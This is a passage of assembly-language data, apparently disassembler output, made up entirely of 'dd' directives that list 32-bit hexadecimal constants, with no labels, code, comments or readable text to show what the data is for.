3D05C885h, 0CED71F0Ch, 8A39E631h dd 0EA661F62h, 0EDC5ED76h, 8D321E9h, 0F65BA088h, 0F8E2EAD4h dd 18F16CB7h, 3181332Fh, 0FB703595h, 53D82C78h, 138A096Ah dd 70BB6B19h, 60582EDFh, 0D243498Bh, 67727780h, 2E7E15h dd 3B3E40F6h, 5EF3014Eh, 0DE98DEE6h, 0BF17C429h, 4302BA8Ch dd 0E9D60A01h, 83EC7AC3h, 0C686DEF6h, 256DE2D1h, 0DD32BE1Dh dd 30245108h, 5807737Bh, 0CD01F940h, 83C988EAh, 24FB7521h dd 1B8230D2h, 0D680632h, 642E3EBEh, 0C6885287h, 15E9F121h dd 6641E035h, 16285954h, 0B512F9F7h, 1553941h, 0C230C829h dd 0B48740D0h, 0E1885E1Eh, 70534853h, 0E69B09h, 0F3478C9Ch dd 38FB866h, 3BCB3705h, 0E9D8DFF7h, 0F3A48A64h, 0A477913Dh dd 0C93DA50Dh, 0DC6882C3h, 57AA9927h, 4B21E7D1h, 80B95212h dd 59CF2906h, 995B887h, 57E9545Ch, 403ADABh, 7E0EFF5h dd 0B9FA5638h, 5F1AE067h, 494FCF62h, 6A06C233h, 152D5C00h dd 5635C93Fh, 45681F52h, 5A018B0Ah, 7DAE6381h, 588D41A3h dd 0B253036Ch, 4CD4CBCDh, 73BD6E7h, 96B2D730h, 6D76690Fh dd 380025FEh, 0FD01223Ah, 0A85898E9h, 5C14E286h, 4A0C031Ah dd 156AD2F7h, 22251700h, 0FABE5642h, 0CF9A1FF8h, 95E4231h dd 0EC441C57h, 50838F85h, 233EDE9h, 65BEC65Fh, 9BE04703h dd 4053952h, 0EEC14E1Ch, 21957287h, 0A125C68Dh, 0EC54CBB0h dd 89E42FE3h, 295FFA01h, 4E7CE9D1h, 92DE564h, 6DD9647Dh dd 0ABA9D26Ah, 2103CB2Eh, 0CAD58BD8h, 54B6400Ch, 33C2AAA1h dd 7ED42E47h, 0FB0FA5ACh, 22DB2B3Ch, 79BA5270h, 9E7B2E63h dd 0A059A88Bh, 206709h, 0C9817AE5h, 5D0A7D2Bh, 6B76A990h dd 17FEF0Eh, 20BBE9C8h, 434BD84h, 7E7E7A60h, 69C588E3h dd 6EA0BE90h, 0EFB12CF4h, 0EF685882h, 4A38E608h, 99BC6254h dd 0C9028152h, 497E1C3Ah, 0C18A4050h, 557A2638h, 23310786h dd 0C729206Ah, 8C4DE958h, 360500A6h, 11F420Ah, 72D50D8h dd 88B129E9h, 48F908ECh, 0BC9F350Eh, 459326DEh, 8F832849h dd 0D77804EEh, 265522A0h, 0CE22E589h, 774CEDCBh, 6530DC90h dd 0A3F31F20h, 4FBC3D21h, 1626AB99h, 0F8E4EA0Fh, 5CC8D130h dd 905BD889h, 747F004Eh, 0F0011917h, 494AE95Eh, 0F333310Ah dd 0F0AC5226h, 2584C65Ah, 0CBA81077h, 7822CA4h, 518A79EEh dd 20D5F75Dh, 60099E3h, 0E5C11345h, 4685708h, 228C7B65h dd 80B9855Fh, 2B54E7F1h, 3E37F226h, 0EE244E28h, 0EB00BD4Ch dd 0C117E222h, 0E9060AE7h, 44A982DAh, 88CDF0E0h, 0FD9AC8A3h dd 0B8250D53h, 5C6F88BEh, 9893F928h, 3841E269h, 0E90EBECh dd 294DF319h, 8BB1076h, 1E9EE90Bh, 27682DA0h, 134C7141h dd 0B8A47D49h, 0F253841Bh, 1C779196h, 32058728h, 2711410h dd 382DE93Eh, 0DCF0DE46h, 0BD052FBAh, 26B62CE7h, 1F969E00h dd 50317228h, 0E4D8A9E8h, 8D3503D0h, 895FFC0Ch, 0F901FA1Dh dd 1B5D94B1h, 0DD438266h, 91E9F705h, 5859B32Ch, 879265B4h dd 9DE931D0h, 6222D651h, 23503336h, 3F848E33h, 44E1F4EBh dd 53C0FD06h, 9A94AB54h, 9980544Dh, 160FA40h, 7EF21EDh dd 0D1B65508h, 205F55A7h, 3049EFFDh, 0FB0114F1h, 3D9C12B1h dd 74F428D1h, 0F0687353h, 58443529h, 3B07F65Eh, 0F879D440h dd 6FE95702h, 0F2C88ED0h, 0BF0072CFh, 4968111Dh, 0A8F73AE9h dd 0D905B2B3h, 2922D75Eh, 0A3AD597h, 0DF17EBA6h, 889C2A84h dd 25FC45AFh, 0C0E16275h, 2FE46850h, 584A0095h, 391DBD55h dd 5003CEDh, 45CF0180h, 804E42E9h, 0E2638952h, 7F4AC270h dd 24C64165h, 445CB469h, 8B1A524h, 91841430h, 0D301C50Bh dd 58685E17h, 0A200864Fh, 105666Dh, 0F5F4CF8h, 0E69E90Ch dd 0E9B8FE45h, 936168F1h, 2EE9113Ch, 65D987AEh, 573AC252h dd 0CFFA9309h, 9CC6E1D6h, 268868ECh, 2640494Bh, 1B82C991h dd 0BF440235h, 2CC654E5h, 78189DC1h, 0EC10DF03h, 1A978F2Ch dd 3140E351h, 58FC0E77h, 569C94B0h, 0AF0833ACh, 30142FF3h dd 1842239Eh, 0D1220959h, 79EC8E68h, 1C82535Ch, 5B93D432h dd 51CF2701h, 0E3D8282Ah, 364F0522h, 11DBF72Fh, 50EEFE1h dd 2D410D59h, 236C4168h, 0BCB9034Fh, 0EE1C2A0Bh, 0C29BB089h dd 0D9F7591Ah, 0DDC51C63h, 4C4DD1C1h, 5E5E54F7h, 0FA5F9346h dd 0FF554CDEh, 890E1552h, 0EF615EF5h, 5DFA015Dh, 0CCDD017Eh dd 0D3CD0582h, 68DF0DA8h, 401A58CAh, 892B7ABEh, 0EE310901h dd 3AB4E95Dh, 59BA1A81h, 711E6773h, 0D09F797h, 665AD529h dd 749B18Fh, 0C70C7DE7h, 0C8608B68h, 0E6AA6CE9h, 2FFA08D8h dd 129B5853h, 2484A1E9h, 9DFE1783h, 0A04CBDB7h, 1641B1C4h dd 0B0B24967h, 0DE7D8206h, 421F64CCh, 0D54D7CC6h, 0FCB482Bh dd 4A08E0C1h, 124FDF95h, 6061758Dh, 0A7A6F005h, 0B8037441h dd 0F7578868h, 2077983Eh, 551712FAh, 3645D54h, 0A0F9F9C2h dd 0A2E0C3B7h, 89EF07F1h, 6B015BDEh, 239091C6h, 92B00EB9h dd 20D7B5Fh, 7E1C171h, 0BD6AF7E9h, 0AF3E37C5h, 47118927h dd 1EA5A537h, 2238F552h, 5B12D204h, 0CF328D71h, 0AB2C103h dd 58A4C865h, 66428211h, 48A73505h, 81FC81FBh, 7563922h dd 7D58748Ah, 64D194B2h dd 0F81B92BAh, 0F81283C4h, 5C807A59h, 502D2EC9h, 999BFF3Bh dd 9D10257Bh, 349C090Eh, 0D962E268h, 6CE56A5Bh, 59C3F86Dh dd 0A4488B58h, 680B0749h, 8E40D98h, 675C06F0h, 8C3DD7A3h dd 59FE2CACh, 0A872DA83h, 7FD05C6Eh, 814BD186h, 490DDDE8h dd 81B182F0h, 356F24C7h, 0F22F8E13h, 5852CB09h, 68580971h dd 81C70637h, 0F15AD10Ah, 5910E4A4h, 39338824h, 0C1AE62C1h dd 0DED3E90Ah, 0BFBC412Ah, 60535A01h, 46908A29h, 0FA290613h dd 258DFA11h, 0F6F14487h, 7D80FFFFh, 12EE81C6h, 7F7DF26Eh dd 0E1627524h, 6D560153h, 0E974DF07h, 28F550ECh, 0EB1E80E3h dd 0B5D2584Ch, 15D36E23h, 0CE5C4DFAh, 5B472432h, 890A681h dd 0CE29C433h, 2344E9B0h, 0B5570BF7h, 0B1A274FEh, 0A842C809h dd 822D7D19h, 0E927CF28h, 488950D8h, 0E5E1621h, 0C793681Dh dd 0D48975F3h, 2F1550Ch, 0D9D18A9Fh, 0A7E1809Eh, 4961426Fh dd 267BF0A0h, 31ED6A0Eh, 341AE5CBh, 9AC385C8h, 0C8FE3D4Eh dd 0DE2C4880h, 0C058C728h, 1D04EF3Eh, 914380CFh, 56AF3E9h dd 611DEAFFh, 53E35F3Ah, 0C0AE84FDh, 0EB2AC258h, 219C2813h dd 7049569Eh, 4F0C1898h, 0F54BD728h, 882E1B0h, 0E904F159h dd 0DCD4C28Fh, 4301FA13h, 0D752735h, 0B3089820h, 468B01ECh dd 2BF71F04h, 1CD47E83h, 0AA2C3Ah, 505266D8h, 8016A8B4h dd 2983FEECh, 0DE99DC99h, 0CBA52FCEh, 6234CDE7h, 0D41293C7h dd 0CF2ED62h, 0D371B7D6h, 7D862F5Ch, 0CB12375Bh, 25576F3Ch dd 4E04EBE9h, 496CA85Fh, 461793F5h, 7D634B85h, 0F9D4E151h dd 382F1A2Dh, 0D954AE24h, 0C5AF46DFh, 5009F675h, 8428DAB0h dd 9BC2663Eh, 80EC48A9h, 3DFC79EDh, 34AEEB88h, 685C8270h dd 8F9814A8h, 0F8E046B7h, 1455AC95h, 821928E9h, 60BF2918h dd 0EAA8B1C9h, 52D2252Dh, 385866A9h, 5960A796h, 935F5457h dd 0A49D2016h, 36EB0CE2h, 4D166B66h, 5C887E41h, 5E0E4349h dd 0C156A95Dh, 402FD89Ah, 0D3F701A5h, 55499068h, 65E28114h dd 0D82026BEh, 4E6407F4h, 76D7874Ah, 0DF5C09D2h, 387604FAh dd 4E80400Dh, 122AEEF9h, 0E4FB094Bh, 7D40F742h, 12FA9B53h dd 3D23B15Ch, 0E98384BBh, 0B99CC5B8h, 0BB8EFFDCh, 0E949400Ch dd 0B30ADD20h, 15CA1F05h, 0ED77C542h, 7B28320h, 0F70D9367h dd 2B41F3D6h, 9BB01E16h, 94FE480Bh, 0ADAE80AFh, 851F268Eh dd 93E90B4Eh, 41ED78E8h, 38EB7D1Fh, 5039C55Eh, 9049E908h dd 0F7490D60h, 0AFC8D2D9h, 0DB8648BDh, 86335914h, 2D89312Ah dd 0E61856C3h, 1D1FEDBFh, 0A29747C1h, 4DA1E5C4h, 61247CE1h dd 59DA7F88h, 82583C01h, 0E6E883B1h, 285BAA74h, 92FB5667h dd 5A77EA71h, 17FB45C0h, 18D0207Eh, 407B4A7Ah, 0E11E049h dd 2B70E7BEh, 0EAF2E327h, 78F36A05h, 0A4EA28CCh, 68320C83h dd 53615B8Ch, 420B4666h, 6723A06Bh, 93D3D1Fh, 403B1492h dd 4D90054Ah, 8EF6E0C0h, 5A5F469Ah, 82293732h, 741D4FC4h dd 47B9C201h, 30F05846h, 55750563h, 2CD37643h, 0A449442Eh dd 0D552C74Ch, 531CE09Dh, 0D0885013h, 0DFF677C1h, 25BFADCh dd 0E9ECCA80h, 5590C8Ah, 0A6168BADh, 1E4795FEh, 12D831ADh dd 0C0C784C8h, 0B1E35CB5h, 0D7CD794Bh, 0F01EF41h, 0E9AC0128h dd 0CE0F3B25h, 4AA8F6C4h, 6D89D1E0h, 0EA800065h, 0D4883196h dd 58549862h, 70F15097h, 4149724Ch, 219481F2h, 0E6202C5Eh dd 6EF28C1h, 6B8E0BD4h, 0D9685F11h, 3B2463CFh, 0D302F11Ch dd 62BFDB76h, 5EF221AEh, 76A8D189h, 40E3926Dh, 11F4E52Ch dd 0CA653E4Ch, 943D9F5Ah, 3B7B40D9h, 18691872h, 265A490Ch dd 259B1FAFh, 94FEF0CEh, 49A0781Ah, 4E0BF5D5h, 2394B564h dd 0EDF6861h, 98941328h, 5237EF01h, 8BEDBD49h, 5CD310Bh dd 0A24107F7h, 0F9F7665Ch, 4EA668CCh, 0C1F65E4Dh, 0DCE99C50h dd 107F2DBEh, 800E7933h, 0C76E9FF7h, 1E6FCA9Eh, 0EBC1808Ah dd 46685106h, 0C0E4071h, 7ECB0959h, 4E74E54Ah, 335CBD80h dd 2DC1498Bh, 0F00E02EDh, 0DA0506BEh, 336EA0A4h, 3044C56Dh dd 0F9B897D4h, 0A11BF5A7h, 0A4E82C45h, 0A03025F5h, 0AB829DC4h dd 477413B9h, 11E8CBCFh, 813C5CAEh, 380B012h, 0D8F606D0h dd 1E164EFFh, 5BEBCB8Fh, 3ABE950Eh, 0CDF3D6F8h, 78A7307Ch dd 113882E9h, 0E02CF50Ch, 0C5883436h, 9280E944h, 81715FAFh dd 0C901A849h, 527C680Fh, 0C841E9A3h, 525825D6h, 0E3630061h dd 0C120D11Bh, 0E91A07EAh, 0B11C77D0h, 95325611h, 0B06C5E25h dd 2055FB2Dh, 49C370B3h, 0C7293E4Dh, 8D1D2F97h, 85B31D7Fh dd 0E457E9B2h, 123C45D2h, 5A0BE36Ch, 0C6429968h, 3A84809Ah dd 4C9C9D5Eh, 2ED24C83h, 484F1BADh, 7440B985h, 124ABE31h dd 1225CAD0h, 0D05346E9h, 65120E34h, 0D68E880Eh, 44B7520h dd 457A3B49h, 59DFE583h, 0F5E85777h, 0C678DE7Dh, 1683015Ch dd 58892FFEh, 45BFECE1h, 5DB0FABFh, 6853560Fh, 9C71C40Fh dd 0EB27864Bh, 2FF2B388h, 0BAC63A8Fh, 0C3078732h, 2129032Dh dd 4BB88FB4h, 0B753AC00h, 80C7FEF7h, 0E9B3EF27h, 0C488D8ACh dd 0BB0061CFh, 27BD8A0Dh, 5BDD3E29h, 0C9235E93h, 34653F48h dd 0B4FE12E0h, 49672873h, 0EB3A6C94h, 81CD4EFDh, 97A8046Ch dd 27C0494Ch, 122B32B8h, 12893E50h, 5A65C267h, 4BA8BF45h dd 0BC65BC3Eh, 70DFA609h, 4CC8855Ah, 0ECADDAA0h, 17D59A34h dd 0CA637068h, 1F592C13h, 501B9C54h, 7C4EF1E9h, 0A848298Fh dd 58A30B4Ah, 0A73DA051h, 0FA394486h, 55B88112h, 32E8A05Ch dd 4C1C0D1Ah, 58070499h, 40633E8h, 66BD382Fh, 0A353C724h dd 9D1C7781h, 11C95866h, 2910A87Dh, 0CBA05DBCh, 0BBD727EFh dd 1D474C20h, 9EB0181h, 1A29A2Ah, 0F1CE42D8h, 57741129h dd 973B3820h, 0F501DC98h, 80B54282h, 80E5C571h, 29920C96h dd 95585DEBh, 7FB23E3Fh, 7775F30Ah, 0E40BD1E7h, 249351C3h dd 138C2811h, 2C15849h, 736E059Dh, 0D0F79F40h, 351CE3EEh dd 25C75937h, 2172894Ch, 0A2C5C3C6h, 80A95972h, 0D455615h dd 0C809CB81h, 86347913h, 7B8E0560h, 0E447E8Eh, 4AE9DE21h dd 60768675h, 0C680DDEFh, 0F47A3047h, 14117F34h, 247978FDh dd 97CC3F10h, 9D8DD1CBh, 0B156034Ah, 432222D3h, 0BCBF0E2Ah dd 0E1364A42h, 97D302E9h, 0D232BD22h, 64DB7EE8h, 674CD133h dd 0D679972Fh, 26CD8904h, 4819985h, 5F6802B9h, 8B264596h dd 8F22083Ch, 0C4BB2189h, 3E69B16Eh, 92421E13h, 3DE4350Fh dd 0A503C5B6h, 0EA7A9F6Ah, 5000500Dh, 55AB285Fh, 42ABD19h dd 141BD237h, 239326F7h, 52C9CB0Bh, 479B0C65h, 74B02A20h dd 12467512h, 31FDF290h, 0E97B09D7h, 2F985A94h, 1262B168h dd 537693DBh, 113A0B5Ch, 495F6046h, 0BD373D4Ah, 8FD53192h dd 0E9C2ADE2h, 9EF3444Dh, 14C6910Bh, 9D524B3Bh, 7D606B28h dd 0B1525EF2h, 0C95A1183h, 48FDE2AEh, 9B2C5CE5h, 5758411Ch dd 0F4E07B55h, 0A80948FDh, 933CA901h, 3F4D4542h, 49853E1Eh dd 22806783h, 3DA8584Eh, 67E8E923h, 0D6F30AC4h, 81C4B2E2h dd 6F50E580h, 8F703D61h, 7566516Dh, 5F35D478h, 92FB090Ah dd 30AC0660h, 9551D83Fh, 0C6BC7266h, 4B3B0283h, 5E638C36h dd 40522094h, 264CAA33h, 201315Dh, 754F7DACh, 153DCF40h dd 18551030h, 0ED12353Bh, 617D163Ah, 0D6A6E92Ah, 82F3B5A7h dd 0AF921C87h, 0CC9491C4h, 0FDE6801h, 34FD5165h, 0F284DA62h dd 855111ECh, 0C1336850h dd 0E039EF01h, 39525C7Fh, 0A2D45A53h, 0F806154Bh, 57028415h dd 8C6E954h, 0BD161CC4h, 0A0F68441h, 0F30C5140h, 0BC8B6A43h dd 955CCE9Ch, 400ABC90h, 0B0318381h, 8F809144h, 0D4427Fh dd 0DCB50538h, 0C131F0BEh, 0CF785860h, 0B86C935Dh, 3DF90238h dd 0CD015269h, 8022042h, 0CE78BFE9h, 0C15348h, 18EC7C77h dd 7E838BBBh, 73699813h, 0CDC0A259h, 29660BEAh, 0F20C2F10h dd 3CA60082h, 0F6B46B8Eh, 24F9921Fh, 399EA87h, 352B507Eh dd 276BBE9h, 0BBE2715Dh, 0F6C9B448h, 0B60F3701h, 718D4CCh dd 0F0BF30C0h, 55F3E51h, 65D53DB9h, 0E977B0CEh, 23D0385Ah dd 49EE22C4h, 0E260C771h, 3BDF7269h, 0BCEE914h, 3FF8DD2h dd 0B2025C68h, 0D17D056Ah, 0B80370DCh, 0E9677BBDh, 0BB00524Fh dd 770BAE6Dh, 0C6F331ECh, 5F212DF8h, 13E93FA1h, 0E593254Dh dd 3343E032h, 55721195h, 9C38EAE4h, 1F509899h, 43032B68h dd 0F75B2342h, 5462EAD3h, 327C28F0h, 2D0CDA7Bh, 1A77856h dd 0B0969FDh, 3559D461h, 9917F830h, 0DD688967h, 3B70ECADh dd 0DED96412h, 0E9EC2C6Bh, 0F8AC7FBBh, 318C182Ch, 14C740D9h dd 0B6AD34AFh, 0BA52CF07h, 838C0530h, 4EC947Fh, 9BC7D829h dd 6A4FD492h, 0BD837C2Eh, 81257D18h, 181313B9h, 51E02A63h dd 7CAA1EC1h, 0F102BB91h, 0EE2E6492h, 5700577Ch, 7C1CC268h dd 15FEA011h, 0DA318021h, 0BB684ACh, 6070E909h, 42D4032h dd 6FB0981Fh, 0DA2FA029h, 62115B55h, 375710EAh, 30645A24h dd 0E1C0581Dh, 7806056Bh, 70F849E4h, 0F763804Eh, 0C0F47ADAh dd 3E7C10Eh, 241678D1h, 1319F29Fh, 0A5437CE9h, 54543042h dd 6FC75D4Ah, 817EF671h, 0D8506CDh, 9471CFE9h, 786E99B3h dd 5AD1C4C5h, 0FC06EB3h, 0C968C8BEh, 9F745B59h, 5EB6B79Ah dd 6311B9Ch, 95C0D00h, 62840FC0h, 0B139DE4h, 0A0BA202h dd 642939ADh, 29539106h, 31E9611Dh, 0B3293F1Fh, 920BC5A7h dd 67535318h, 2AF52DC0h, 13A0F8C1h, 0F05DEE01h, 134E086Dh dd 74AD1064h, 0DF55E9C2h, 0A62C98F1h, 1EA20A13h, 64B4C04Fh dd 0F7FD028h, 17E06C2Ah, 52F7BB04h, 0CEFC3E3Dh, 0AD04EB02h dd 3D58C1C2h, 6070B990h, 1114B048h, 3C6006ECh, 0EBC094B3h dd 35B057Dh, 0ACEC5195h, 26B67010h, 74027E5Fh, 7409F32Dh dd 0C51C5A3Dh, 0D285665Fh, 9C59B11h, 84F4EF80h, 0BB091627h dd 0E4051E6h, 92ED945Ah, 0E650A157h, 47B19896h, 0ED4408h dd 485AD089h, 9F6D8F7h, 609D064Ah, 0D34578ECh, 5A90300Ah dd 9AB5D301h, 19284288h, 0C255F8ECh, 64D33080h, 0B86B0412h dd 844A2622h, 6953C66Fh, 10304204h, 0F6835D63h, 0A821BB72h dd 98557E5Eh, 1675740Ch, 9BD2902h, 39061B1h, 83985052h dd 18103A0Ah, 4C108E74h, 0FA465F14h, 87AA050Ah, 1E1C0C9Bh dd 6804538Fh, 6AB169D2h, 36E482D0h, 3E385C20h, 2516C100h dd 3EE95033h, 60986392h, 0DBDFA2EEh, 8F0884Bh, 81809F4Ah dd 0E51FBFEEh, 91564A53h, 68D4F653h, 8C6880DBh, 9247E71Ah dd 0D9101F8h, 0E4E91FEDh, 9D934952h, 0F745B20Ah, 0F3C045DDh dd 0B9121DE9h, 28137C8h, 0DF6E5453h, 0F4BAE1FCh, 24EA801Ch dd 7BC2CEh, 68515AD3h, 6F604C3Ch, 0C58849DEh, 81E12D0Ch dd 3E5CEA04h, 0F2C278A7h, 805A03BAh, 499E09BDh, 8C3D5C2h dd 1DD8EE02h, 0DE5B7F31h, 86912C60h, 85F9D6E9h, 0F328EE38h dd 0B66A95F4h, 203B2E3Dh, 0D5F7281Dh, 0CDD280ABh, 141E613h dd 4BE7814Fh, 7C502F7Bh, 0C114D28Ah, 5CC3804Ah, 0F66D5B0Bh dd 0ABBD6B58h, 0E1B92651h, 58C53117h, 9E73D5E0h, 0A4054FF1h dd 9EF4B4B4h, 4A564040h, 83909C52h, 4150EA62h, 49559C7h dd 0CD60E668h, 0C144201h, 0E1F420FAh, 0E9F0219Eh, 93D5548Dh dd 4EC970F5h, 0AE1E46EBh, 0BA951ACBh, 0B0DCD9A8h, 0C64EF618h dd 0FD015617h, 4F08F410h, 0B65CF72Ch, 0AD4A6D65h, 0BA0B1E62h dd 6137B4ECh, 2BD425E9h, 0D4BA2422h, 12CEA8C6h, 57255E7h dd 0F7BECDBEh, 0B707BFDh, 2D39149Fh, 1EBB061Ah, 49020C22h dd 0E3252933h, 0B42A912h, 0CF89F582h, 6A2288E1h, 15CD940h dd 6817766h, 0C97F68F2h, 300B0C40h, 937AF7Eh, 88DDE594h dd 1425BCFFh, 0C85C4ED8h, 7C45A851h, 0E913D932h, 0CCEAC490h dd 1C2C2DC6h, 5019461h, 60D4528Dh, 3F5E24E8h, 0B2805726h dd 0E94F8713h, 18021C0h, 0BE92EEF7h, 2D19A6DAh, 0D2F69200h dd 0BB70B450h, 0C934E27Ch, 35AA6EB5h, 8582D32h, 145B8706h dd 55E04535h, 0C0149853h, 2AC8B9BBh, 0A8A91AD4h, 6F8A621Dh dd 1838E9F6h, 0B033661h, 0F901153Eh, 64998700h, 250237F4h dd 6F6843A7h, 4BADE048h, 12220B3Dh, 965C129h, 0D901880Bh dd 5FB06EDEh, 9E16B28Bh, 0CE318C12h, 680573B2h, 67B5357Dh dd 48F0CFC2h, 1490BAD0h, 854E7572h, 980D3C03h, 0C1884A50h dd 16C006E2h, 4CB0865Ch, 60D35929h, 3947E90Ch, 44EC777h dd 0E5E5F637h, 0EB219752h, 0E204B347h, 0E50125B3h, 0D506A7B3h dd 2CED0631h, 6AB3D79Ah, 0C9B25F13h, 34293130h, 0EB5CD1B2h dd 8D1A0144h, 0DF892B08h, 697D0060h, 6D08754Eh, 851CC5h dd 6E253D0Ah, 658283Ah, 0F82D0EE2h, 2AFBADFFh, 1316623Bh dd 0B03A367Ch, 6E687F20h, 0AC349D52h, 715DE917h, 405913DCh dd 0C70681DEh, 0FB2BB299h, 0EB4995B4h, 0DEE2E201h, 4EA5BED0h dd 1EAAC4A5h, 846C6DEBh, 0D5FAE952h, 0A2C8560Ch, 41D8D28Bh dd 8EC86285h, 0C101B1BAh, 3CE002E0h, 17C6BA3Dh, 0A55FC368h dd 2E292C54h, 9E46D2C8h, 85681539h, 27787208h, 0CE9E3409h dd 6FA50095h, 0FC42C341h, 0D6B68F7h, 0A2CA16E2h, 13059311h dd 8629E039h, 0C0A46A6Ch, 100DCAD7h, 81590300h, 95226FF1h dd 9749505Dh, 453F049Fh, 80EEC162h, 3B5EF66Ah, 295F0C13h dd 0EC50A8E6h, 53E92F59h, 645F8287h, 4CA9B80Fh, 25BBDE28h dd 0C13DC870h, 0F3A0A0EAh, 0BAA92FBh, 5A8240C6h, 24018706h dd 8CE28139h, 0C0D7D10h, 0CE393F64h, 8B5528h, 5B3122A3h dd 0D7ED50BDh, 2C53F658h, 3E0F545Fh, 0C440AB43h, 6F961311h dd 15A90B6Eh, 1B9716F8h, 48AFDA68h, 97595D08h, 129E184h dd 5105EFC1h, 3B317284h, 14A09256h, 4B25A664h, 0F3C6C8F6h dd 0E5C49517h, 0C1016624h, 1B09E42h, 6B0FE068h, 13673B30h dd 0E9190B12h, 9AE2FDh, 0FB802F54h, 4D7F172Fh, 8FCD0481h dd 0C2349B6Eh, 0DB7069B1h, 0E233B397h, 8037CACFh, 0B8212C93h dd 6D0CC107h, 7CF93813h, 1E9E061h, 99A5B63Eh, 6E6906B2h dd 87248740h, 2ACC361h, 50665152h, 0EFE3A7B0h, 0CDFE58B0h dd 40EE85A1h, 403E3B3Ch, 2B31345Eh, 9F2CC6E9h, 5051AD00h dd 3455F268h, 0A494D5Eh, 0F7FBC061h, 2CE98D0h, 16673501h dd 0F8D85102h, 8CA9009Dh, 30E9233Fh, 5CB23C96h, 0CBBA4C29h dd 308B8855h, 0AB25685Bh, 9BD66679h, 49060362h, 0C01193Dh dd 532E30A0h, 95FBEA01h, 8FE90805h, 0C1649692h, 297E02D5h dd 68E6CCAAh, 0C6119C25h, 0A8605CEh, 0C047637Eh, 0EA27B81Dh dd 6EE92D0Bh, 5CE42432h, 7C01F6B0h, 0CA14DC1h, 5FBEBB03h dd 0D4D1ACF7h, 0F18850EDh, 7A4CFA68h, 90B4A58Fh, 0C432B554h dd 6F9CDA40h, 55010CE6h, 479066BDh, 0F57801F3h, 0C6CFDC4Ah dd 0B85CA612h, 97EE3300h, 7C7D3523h, 81CD029h, 2D141C68h dd 3DE9E168h, 0B432274Ch, 6FB164D1h, 0F4556534h, 0F331F9C5h dd 0F9FF3D6Bh, 801B6403h dd 2833C107h, 0F00559C8h, 561D4EC2h, 19D62D5h, 0A4FB956h dd 0C18EA06Dh, 0FA02B2EDh, 63DB59E4h, 91EAC800h, 80DA50C9h dd 588E9C5Dh, 555BCE68h, 731328Ch, 874F114Ah, 0B1AC12E9h dd 0C26C6C54h, 0EDB09750h, 0D883F44Ch, 948A7CFh, 0DFF718EBh dd 820E0100h, 31268965h, 61631D7h, 5E588F80h, 1C4F2809h dd 0E983404Bh, 4FAE8430h, 3D7916EAh, 35A751A1h, 4A2D3000h dd 7A7AAD22h, 2BCD4530h, 2E1CC8C9h, 0A860FAh, 0BFA32A0Dh dd 0EEC1CF09h, 0A9861EEFh, 4BF829D0h, 0E9F7915Fh, 4B256CD9h dd 0DAF7B331h, 0D5E8E20h, 89D611A7h, 3D136FBAh, 24791101h dd 7F6C298Eh, 4947A661h, 0C2D2E364h, 80F4142h, 58DF323Eh dd 214AFBAAh, 0C02588FBh, 88B7C681h, 0EBC05AF5h, 0D7595866h dd 6141423Ah, 981840A4h, 712FEA03h, 31C3415Ah, 5C0D06B1h dd 10BB3221h, 4114ADE3h, 82189381h, 59CDC8A5h, 526C2925h dd 8337400Ah, 4910EF64h, 0B74047A8h, 68454901h, 14ADD84h dd 5B66FE08h, 0F9CB842Eh, 0C0A907BBh, 0CCE005E4h, 0E6E0C480h dd 881A0FECh, 0C22658E2h, 0CFDB88B4h, 0E363C0CAh, 0B2E7985Ch dd 98D3E08Eh, 666B1DBEh, 7BC34F5Ah, 0A89786EAh, 3D76FE6Ch dd 2EAC613Fh, 7C018C2Bh, 20BA5FCCh, 7B353D0Bh, 4A402F02h dd 0E9860A2Ch, 1FD5572Ah, 0ED6B68E5h, 6AB0EC65h, 8D36559h dd 0C909E910h, 9309DC20h, 8567662Eh, 0F6105D96h, 870B41FEh dd 26162D0Ch, 0E2C15820h, 6CAF405h, 59D245C9h, 0EF60E42h dd 0E927EF04h, 0EDB82831h, 358DE2E7h, 0D06B9554h, 0D36E49E6h dd 0AA22FA81h, 1B782044h, 1DCB5B16h, 2E580FB0h, 0BF4F51C3h dd 2A931CF3h, 1110BF91h, 0CA2118FCh, 1FDCF21Ch, 8969799Bh dd 1F543238h, 58746BEFh, 0A0B47892h, 3FF603F2h, 5EFEFED4h dd 0BBAC001Dh, 87774BCh, 0BD4E8CF4h, 7BFB2A4h, 0E180C9FEh dd 83073BA9h, 60736C0h, 0B4120367h, 0DE84CB05h, 2528916h dd 1E166B5Dh, 2851CA20h, 2C5B7BD9h, 0C7363D29h, 79ED1302h dd 705FF9C1h, 2E0BAD6Dh, 0C2296B4Ch, 3A1655D8h, 47940684h dd 0E2B8DBC5h, 4B16D69Dh, 0A08258CBh, 0CD54681Eh, 547A1490h dd 0B854473Fh, 0F6C92F85h, 4026D4A0h, 2925E810h, 0FD1C1AF7h dd 5626E00Ch, 11125C92h, 52043A62h, 0D5B8C97Ch, 20416882h dd 0CFFCFF6Ch, 0F2C161C0h, 0BF64C010h, 3708A028h, 146BB01Ch dd 514A5835h, 9E308599h, 8240BE11h, 1B73656Dh, 3A5D5369h dd 7A5C2A8Ch, 0FB299AD3h, 4609B116h, 5A076976h, 4C202452h dd 1EF06BA6h, 9816A95Ah, 9F4C2BCBh, 252E5E10h, 9AC68029h dd 5F639D31h, 0C26D45Dh, 0BB3144C8h, 0D472E10Bh, 0F322C055h dd 4A660491h, 0B826E97Dh, 2F050323h, 0D354AB2Eh, 8C8FD81h dd 79DE1656h, 95881CCh, 0D20572EAh, 0A0D8FA16h, 737C131Ah dd 0EF27F067h, 0F54A3009h, 0D68D4217h, 284F0B43h, 0EB211E68h dd 0E29810B6h, 9630E606h, 69FB08F0h, 2521B807h, 8EF110C5h dd 9E0A7F60h, 1B7D82CEh, 8C41BFFDh, 0BD9D2A06h, 875DE895h dd 495FE942h, 0DD09E88h, 47113164h, 0B23A1BECh, 0C04F624Ch dd 397CBADCh, 0FD371F24h, 931E50Fh, 0E609D548h, 89BD83EEh dd 18ACD8F6h, 60C852E9h, 7D03F068h, 5587882h, 8771AF14h dd 0F348C701h, 0F3E98083h, 0D193414Ah, 1780C130h, 2FEA6803h dd 0AC906466h, 81132395h, 0D4D60544h, 890BC107h, 22A5F355h dd 19615D0Ch, 41F33CB1h, 182040A5h, 3976E270h, 0D9AD60F1h dd 54684712h, 0A93353F4h, 65285E8Ah, 0ABA8F4A7h, 0E2E61E12h dd 872A1F15h, 0AD2DD813h, 5A052705h, 25CC900Fh, 8CE613C8h dd 0BC7EAC09h, 0C1A8F44h, 5BDF4147h, 137CC85Bh, 8A3AA4Ah dd 3212573Dh, 9188A44Dh, 0FF88525Ah, 0BA310090h, 1A685155h dd 264D1238h, 0D189D3h, 746EF178h, 8942043Eh, 0BC59204Fh dd 